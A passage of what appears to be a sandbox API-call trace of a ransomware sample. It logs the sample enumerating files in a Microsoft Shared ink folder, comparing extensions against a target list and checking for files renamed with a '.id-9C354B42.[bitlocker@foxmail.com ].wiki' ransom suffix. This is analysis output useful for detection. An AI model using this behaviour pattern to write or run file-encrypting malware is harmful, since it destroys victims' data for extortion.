(lpString1=".dbf", lpString2=".LOG") returned -1 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString=".1cd") returned 4 [0182.800] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0182.800] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0182.800] lstrlenW (lpString=".jpg") returned 4 [0182.800] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0182.801] Sleep (dwMilliseconds=0x64) [0183.002] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0183.002] lstrlenW (lpString="Alphabet.xml") returned 12 [0183.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.002] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=791686) returned 1 [0183.002] CloseHandle (hObject=0x1d8) returned 1 [0183.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0183.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.003] lstrlenW (lpString=".doc") returned 4 [0183.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString=".docx") returned 5 [0183.003] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0183.003] lstrlenW (lpString=".pdf") returned 4 [0183.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString=".xls") returned 4 [0183.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString=".xlsx") returned 5 [0183.003] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0183.003] lstrlenW (lpString=".ppt") returned 4 [0183.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.003] lstrlenW (lpString=".zip") returned 4 [0183.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.003] lstrlenW (lpString=".rar") returned 4 [0183.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString=".bz2") returned 4 [0183.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.003] lstrlenW (lpString=".7z") returned 3 [0183.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.003] lstrlenW (lpString=".dbf") returned 4 [0183.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString=".1cd") returned 4 [0183.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString=".jpg") returned 4 [0183.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString=".doc") returned 4 [0183.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString=".docx") returned 5 [0183.004] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0183.004] lstrlenW (lpString=".pdf") returned 4 [0183.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString=".xls") returned 4 [0183.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString=".xlsx") returned 5 [0183.004] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0183.004] lstrlenW (lpString=".ppt") returned 4 [0183.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString=".zip") returned 4 [0183.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.004] lstrlenW (lpString=".rar") returned 4 [0183.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString=".bz2") returned 4 [0183.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.004] lstrlenW (lpString=".7z") returned 3 [0183.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.004] lstrlenW (lpString=".dbf") returned 4 [0183.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.005] lstrlenW (lpString=".1cd") returned 4 [0183.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0183.005] lstrlenW (lpString=".jpg") returned 4 [0183.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.005] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0183.005] lstrlenW (lpString="Content.xml") returned 11 [0183.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.005] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=27045) returned 1 [0183.005] CloseHandle (hObject=0x1d8) returned 1 [0183.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0183.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString=".doc") returned 4 [0183.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString=".docx") returned 5 [0183.006] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0183.006] lstrlenW (lpString=".pdf") returned 4 [0183.006] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString=".xls") returned 4 [0183.006] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString=".xlsx") returned 5 [0183.006] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0183.006] lstrlenW (lpString=".ppt") returned 4 [0183.006] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString=".zip") returned 4 [0183.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.006] lstrlenW (lpString=".rar") returned 4 [0183.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString=".bz2") returned 4 [0183.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString=".7z") returned 3 [0183.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString=".dbf") returned 4 [0183.006] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString=".1cd") returned 4 [0183.006] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.006] lstrlenW (lpString=".jpg") returned 4 [0183.007] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString=".doc") returned 4 [0183.007] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString=".docx") returned 5 [0183.007] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0183.007] lstrlenW (lpString=".pdf") returned 4 [0183.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString=".xls") returned 4 [0183.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString=".xlsx") returned 5 [0183.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0183.007] lstrlenW (lpString=".ppt") returned 4 [0183.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString=".zip") returned 4 [0183.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.007] lstrlenW (lpString=".rar") returned 4 [0183.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString=".bz2") returned 4 [0183.007] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString=".7z") returned 3 [0183.007] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString=".dbf") returned 4 [0183.007] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString=".1cd") returned 4 [0183.007] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0183.007] lstrlenW (lpString=".jpg") returned 4 [0183.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.008] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0183.008] lstrlenW (lpString="boxed-correct.avi") returned 17 [0183.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.009] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=89600) returned 1 [0183.009] CloseHandle (hObject=0x1d8) returned 1 [0183.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0183.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.009] lstrlenW (lpString=".doc") returned 4 [0183.009] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0183.009] lstrlenW (lpString=".docx") returned 5 [0183.009] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0183.009] lstrlenW (lpString=".pdf") returned 4 [0183.009] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0183.009] lstrlenW (lpString=".xls") returned 4 [0183.009] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0183.009] lstrlenW (lpString=".xlsx") returned 5 [0183.009] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0183.009] lstrlenW (lpString=".ppt") returned 4 [0183.010] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString=".zip") returned 4 [0183.010] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".rar") returned 4 [0183.010] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".bz2") returned 4 [0183.010] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".7z") returned 3 [0183.010] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString=".dbf") returned 4 [0183.010] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString=".1cd") returned 4 [0183.010] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString=".jpg") returned 4 [0183.010] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.010] lstrlenW (lpString=".doc") returned 4 [0183.010] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".docx") returned 5 [0183.010] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0183.010] lstrlenW (lpString=".pdf") returned 4 [0183.010] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".xls") returned 4 [0183.010] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0183.010] lstrlenW (lpString=".xlsx") returned 5 [0183.010] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0183.010] lstrlenW (lpString=".ppt") returned 4 [0183.010] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0183.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.011] lstrlenW (lpString=".zip") returned 4 [0183.011] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0183.011] lstrlenW (lpString=".rar") returned 4 [0183.011] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0183.011] lstrlenW (lpString=".bz2") returned 4 [0183.011] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0183.011] lstrlenW (lpString=".7z") returned 3 [0183.011] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0183.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.011] lstrlenW (lpString=".dbf") returned 4 [0183.011] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0183.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.011] lstrlenW (lpString=".1cd") returned 4 [0183.011] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0183.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0183.011] lstrlenW (lpString=".jpg") returned 4 [0183.011] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0183.011] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0183.011] lstrlenW (lpString="boxed-delete.avi") returned 16 [0183.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.012] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=31744) returned 1 [0183.012] CloseHandle (hObject=0x1d8) returned 1 [0183.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0183.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.012] lstrlenW (lpString=".doc") returned 4 [0183.012] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString=".docx") returned 5 [0183.012] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0183.012] lstrlenW (lpString=".pdf") returned 4 [0183.012] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString=".xls") returned 4 [0183.012] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString=".xlsx") returned 5 [0183.012] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0183.012] lstrlenW (lpString=".ppt") returned 4 [0183.012] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.012] lstrlenW (lpString=".zip") returned 4 [0183.012] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString=".rar") returned 4 [0183.012] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0183.012] lstrlenW (lpString=".bz2") returned 4 [0183.013] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".7z") returned 3 [0183.013] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString=".dbf") returned 4 [0183.013] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString=".1cd") returned 4 [0183.013] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString=".jpg") returned 4 [0183.013] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString=".doc") returned 4 [0183.013] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".docx") returned 5 [0183.013] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0183.013] lstrlenW (lpString=".pdf") returned 4 [0183.013] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".xls") returned 4 [0183.013] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".xlsx") returned 5 [0183.013] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0183.013] lstrlenW (lpString=".ppt") returned 4 [0183.013] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.013] lstrlenW (lpString=".zip") returned 4 [0183.013] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".rar") returned 4 [0183.013] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0183.013] lstrlenW (lpString=".bz2") returned 4 [0183.013] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0183.014] lstrlenW (lpString=".7z") returned 3 [0183.014] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.014] lstrlenW (lpString=".dbf") returned 4 [0183.014] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.014] lstrlenW (lpString=".1cd") returned 4 [0183.014] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0183.014] lstrlenW (lpString=".jpg") returned 4 [0183.014] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0183.014] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0183.014] lstrlenW (lpString="boxed-join.avi") returned 14 [0183.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0183.014] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=33280) returned 1 [0183.014] CloseHandle (hObject=0x1d8) returned 1 [0183.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0183.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0183.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0183.015] lstrlenW (lpString=".doc") returned 4 [0183.015] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString=".docx") returned 5 [0183.015] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0183.015] lstrlenW (lpString=".pdf") returned 4 [0183.015] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString=".xls") returned 4 [0183.015] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString=".xlsx") returned 5 [0183.015] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0183.015] lstrlenW (lpString=".ppt") returned 4 [0183.015] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0183.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0183.015] lstrlenW (lpString=".zip") returned 4 [0183.015] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0183.015] lstrlenW 